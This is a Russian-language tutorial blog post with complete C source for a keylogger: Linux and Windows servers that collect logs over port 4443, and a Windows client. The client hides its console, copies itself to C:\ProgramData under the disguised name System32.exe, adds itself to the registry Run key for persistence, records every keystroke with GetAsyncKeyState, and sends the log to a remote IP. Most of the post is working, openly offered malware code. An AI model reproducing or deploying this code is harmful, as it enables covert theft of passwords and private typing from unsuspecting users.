Пишем кейлоггер на C. Часть 2
Продолжаем тему “Что можно написать на C?”.
Во второй, многими долгожданной, части мы решили рассказать вам про кейлоггер. Используя Win Api, мы создадим сервер и клиент, которые будут работать на Windows, а с помощью sys/socket.h и arpa/inet.h, мы напишем сервер, который будет работать на Linux. В конце сравним размер клиента, с размером кейлоггера из этой статьи.
Сервер
Версия для Linux
Функция main выполняет настройку сокета/соединения и записывает полученные байты от клиента в файл.
- #include <netdb.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <dirent.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- #define SIZE 1024
- int main(){
- // Конфигурация сервера для входящих подключений
- struct sockaddr_in servaddr;
- char buff[SIZE + 1];
- // serversockfd – дескриптор сокета сервера
- // connfd Текущий – дескриптор соединения
- // recv_return_code – содержит байт, который получает recv ()
- int serversockfd, connfd, recv_return_code;
- // Создаем сокет
- serversockfd = socket(AF_INET, SOCK_STREAM, 0);
- bzero(&servaddr, sizeof(servaddr));
- bzero(buff, sizeof(buff));
- servaddr.sin_family = AF_INET;
- servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
- servaddr.sin_port = htons(4443);
- // Запускаем ожидание приема соединения
- bind(serversockfd, (struct sockaddr*)&servaddr, sizeof(servaddr));
- listen(serversockfd, 1);
- while (TRUE){
- // Принимаем входящее соединение
- connfd = accept(serversockfd, (struct sockaddr*)NULL, NULL);
- FILE* logfile = fopen( “log.txt”, “ab+”);
- // Получаем байты и записываем их в файл
- while((recv_return_code = recv(connfd, buff, SIZE,0)) > 0 ) {
- fwrite(buff, 1, sizeof(buff), logfile);
- }
- close(connfd);
- fclose(logfile);
- }
- }
Компилируем и даем файлу нужные права для запуска:
gcc server.c -o keylogger_server && chmod +x keylogger_server
Проверяем работоспособность используя Netcat:
Байты, которые мы передаем через Netcat записываются в текстовый файл. Если всё работает можем переходить к написанию версии для Windows.
Версия для Windows
Работает по тому же принципу, что и версия для Линукс. Сначала настраиваем сокет, потом запускаем ожидание подключения и когда клиент подключился проверяем полученные байты, если они больше 0 – записываем в лог-файл.
- #include <winsock2.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- #define SIZE 1024
- #pragma comment(lib,”ws2_32.lib”)
- // Функция выполняет настройку сокета/соединения и записывает байты, которые прислал клиент
- int main(){
- /*
- Конфигурация сервера для входящих подключений
- sockaddr_in server – дескриптор сокета сервера
- connfd – дескриптор соединения
- */
- SOCKET s;
- struct sockaddr_in server, client;
- char buff[SIZE + 1];
- int connfd, c;
- while (TRUE){
- WSADATA wsData;
- /*
- Функция WSAStartup инициализирует структуру данных WSADATA.
- Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
- каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
- и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
- */
- WSAStartup(MAKEWORD(2,2),&wsData);
- // Создаём сокет
- s = socket(AF_INET , SOCK_STREAM , 0);
- server.sin_family = AF_INET;
- server.sin_addr.S_un.S_addr = INADDR_ANY;
- server.sin_port = htons(4443);
- // Запускаем ожидание приема соединения
- bind(s ,(struct sockaddr *)&server , sizeof(server));
- listen(s , 3);
- c = sizeof(struct sockaddr_in);
- printf(“Waiting for connection\n”);
- connfd = accept(s , (struct sockaddr *)&client, &c);
- // Если возникает ошибка на этапе приема соединения – выводим ее в консоль
- if (connfd == INVALID_SOCKET){
- printf(“Accept failed with error code : %d\n” , WSAGetLastError());
- }
- printf(“Connection established\n”);
- FILE* logfile = fopen(“log.txt”, “ab+”);
- // Получаем байты и записываем их в файл
- while (recv(connfd, buff, SIZE,0) > 0 ) {
- fwrite(buff, 1, sizeof(buff), logfile);
- }
- // Закрываем сокет
- closesocket(s);
- /*
- Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
- Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
- Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
- */
- WSACleanup();
- // Закрываем лог-файл
- fclose(logfile);
- // Очищаем переменные
- bzero(&server, sizeof(server));
- bzero(&connfd, sizeof(connfd));
- bzero(buff, sizeof(buff));
- }
- }
Если вам интересно, почему мы использовали while (TRUE) вместо for (;;), вот наглядный пример того, что разницы между этими циклами нет:
https://habr.com/ru/post/198588/
Клиент
В клиенте мы реализуем добавление в автозагрузку через реестр, запись нажатых клавиш в файл и отправку файла на сервер.
- #include <Windows.h>
- #include <winuser.h>
- #include <winsock2.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <time.h>
- #include <unistd.h>
- #pragma comment(lib, “Ws2_32.lib”)
- #define OUTPUT_FILE_NAME “C:\\ProgramData\\Systemlog.txt”
- #define KEY_DOWN -32767
- #define DESTINATION_IP “192.168.0.103”
- #define PORT 4443
- void writeToFile(int keystroke);
- void sendCollectedData();
- /*
- Эта функция скрывает окно консоли, копирует себя в “C:/ProgramData/” как System32.exe
- и добавляет в автозагрузку только что созданную копию System32.exe
- после чего запускает кейлоггер и когда timer станет равен SEND_COLLECTED_DATA_DELAY отправит нажатые клавиши на сервер.
- console_window – извлекает дескриптор окна, используемый консолью.
- timer – псевдотаймер содержащий количество нажатых клавиш.
- SEND_COLLECTED_DATA_DELAY – когда таймер достигает этого порога – мы отправим данные на сервер.
- copied_exec_path – содержит каталог, в кооторый будет копирована программа.
- */
- int main(){
- HWND console_window = GetConsoleWindow();
- // Прячем окно консоли, сразу после запуска
- ShowWindow(console_window, 0);
- long timer = 0;
- const int SEND_COLLECTED_DATA_DELAY = 1000;
- char inputCharacter;
- char path[MAX_PATH];
- // Get own path/name
- GetModuleFileName(NULL, path, MAX_PATH);
- // Проверяем существует ли созданный ранее файл C:\\ProgramData\\System32.exe
- if(access(“C:/ProgramData/System32.exe”, F_OK) != 0) {
- // Если файл не был обнаружен копируем себя в C:/ProgramData/
- CopyFile(path, “C:/ProgramData/System32.exe”, FALSE);
- // Добавляем только что созданную копию в автозагрузку
- HKEY hKey;
- RegOpenKeyExA(HKEY_CURRENT_USER, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0, KEY_WRITE, &hKey);
- const unsigned char copied_exec_path[28] = “C:\\ProgramData\\System32.exe”;
- RegSetValueExA (hKey, “System32”, 0, REG_SZ, copied_exec_path, sizeof (copied_exec_path));
- RegCloseKey (hKey);
- }
- // Запускаем цикл и записываем нажатые клавиши
- for(;;){
- Sleep(1);
- for (inputCharacter = 8; inputCharacter < 256; inputCharacter++) {
- // Если клавиша нажата – записываем ее в лог-файл
- if (GetAsyncKeyState(inputCharacter) == KEY_DOWN) {
- writeToFile(inputCharacter);
- timer ++;
- }
- // Когда timer становится больше или равняется SEND_COLLECTED_DATA_DELAY – мы отправляем данные на сервер и обнуляем timer.
- if (timer >= SEND_COLLECTED_DATA_DELAY){
- sendCollectedData();
- timer = 0;
- }
- }
- }
- return 0;
- }
- /*
- Записывает нажатые клавиши в лог-файл.
- Имеет дополнительную обработку, потому что Windows API по какой-то причине
- отображает цифровую клавиатуру и некоторые другие клавиши как строчные буквы.
- */
- void writeToFile(int keystroke) {
- FILE *out;
- out = fopen(OUTPUT_FILE_NAME, “a+”);
- if (keystroke == VK_SHIFT)
- fprintf(out, “%s”, ” [SHIFT] “);
- else if (keystroke == VK_CAPITAL)
- fprintf(out, “%s”, ” [CAPS] “);
- else if (keystroke == VK_BACK)
- fprintf(out, “%s”, ” [BACKSPACE] “);
- else if (keystroke == VK_LBUTTON)
- fprintf(out, “%s”, ” [LCLICK]\n”);
- else if (keystroke == VK_RETURN)
- fprintf(out, “%s”, ” [ENTER]\n”);
- else if (keystroke == VK_ESCAPE)
- fprintf(out, “%s”, “[ ESCAPE]\n”);
- else if (keystroke == VK_CONTROL)
- fprintf(out, “%s”, “[\nCTRL] “);
- else if (keystroke == VK_SPACE)
- fprintf(out, “%s”, ” “);
- else if (keystroke == VK_NUMPAD0)
- fprintf(out, “%s”, “[NUMPAD0]”);
- else if (keystroke == VK_NUMPAD1)
- fprintf(out, “%s”, “[NUMPAD1]”);
- else if (keystroke == VK_NUMPAD2)
- fprintf(out, “%s”, “[NUMPAD2]”);
- else if (keystroke == VK_NUMPAD3)
- fprintf(out, “%s”, “[NUMPAD3”);
- else if (keystroke == VK_NUMPAD4)
- fprintf(out, “%s”, “[NUMPAD4]”);
- else if (keystroke == VK_NUMPAD5)
- fprintf(out, “%s”, “[NUMPAD5]”);
- else if (keystroke == VK_NUMPAD6)
- fprintf(out, “%s”, “[NUMPAD6]”);
- else if (keystroke == VK_NUMPAD7)
- fprintf(out, “%s”, “[NUMPAD7]”);
- else if (keystroke == VK_NUMPAD8)
- fprintf(out, “%s”, “[NUMPAD8]”);
- else if (keystroke == VK_NUMPAD9)
- fprintf(out, “%s”, “[NUMPAD9]”);
- else
- fprintf(out, “%s”, &keystroke);
- fclose(out);
- Sleep(10);
- }
- void sendCollectedData(){
- int fread_return_code;
- struct sockaddr_in server;
- WSADATA wsData;
- SOCKET s;
- /*
- Функция WSAStartup инициализирует структуру данных WSADATA.
- Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
- каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
- и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
- */
- WSAStartup(MAKEWORD(2,2),&wsData);
- s = socket(AF_INET , SOCK_STREAM , 0);
- char buff[1024];
- // Создаём сокет
- server.sin_addr.s_addr = inet_addr(DESTINATION_IP);
- server.sin_family = AF_INET;
- server.sin_port = htons(PORT);
- connect(s, (struct sockaddr *)&server, sizeof(server));
- bzero(buff, sizeof(buff));
- // Читаем и передаем данные из файла
- FILE *collected_data;
- collected_data = fopen(OUTPUT_FILE_NAME, “rb”);
- // Отправляем данные, если они больше 0
- while(fread_return_code = fread(buff, 1, sizeof(buff), collected_data) > 0){
- send(s, buff, sizeof(buff), 0);
- }
- fclose(collected_data);
- closesocket(s);
- /*
- Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
- Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
- Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
- */
- WSACleanup();
- // Очищаем файл после отправки
- fclose(fopen(OUTPUT_FILE_NAME, “w”));
- }
Для компиляции клиента и сервера для Windows нужно добавить дополнительную библиотеку lws2_32. Ws2_32 (ws2_32.dll) – библиотека для работы с сокетами в Windows:
После компиляции запускаем сервер, а потом клиент и когда количество нажатых клавиш станет больше значения SEND_COLLECTED_DATA_DELAY, содержимое лог-файла отправиться на сервер, после чего файл будет перезаписан.
Скриншот работы:
Сверху справа файл, в котором я писал текст, файл снизу – это лог-файл, который создал наш сервер. Тут же вы можете увидеть размер клиента и сервера.
Чтобы проверить работает наш клиент или нет, можете закоментировать следующие строки:
HWND console_window = GetConsoleWindow();
ShowWindow(console_window, 0);
Их задача – убрать окно консоли при запуске.
Кейлоггер из прошлой статьи, который отправляет лог-файл через Gmail:
Даже на таком, достаточно простом, примере как кейлоггер заметна разница, С опять победил. На этом статья подходит к концу, если вы хотите предложить идею для следующей статьи, то можете это сделать у нас в чате @badbclub.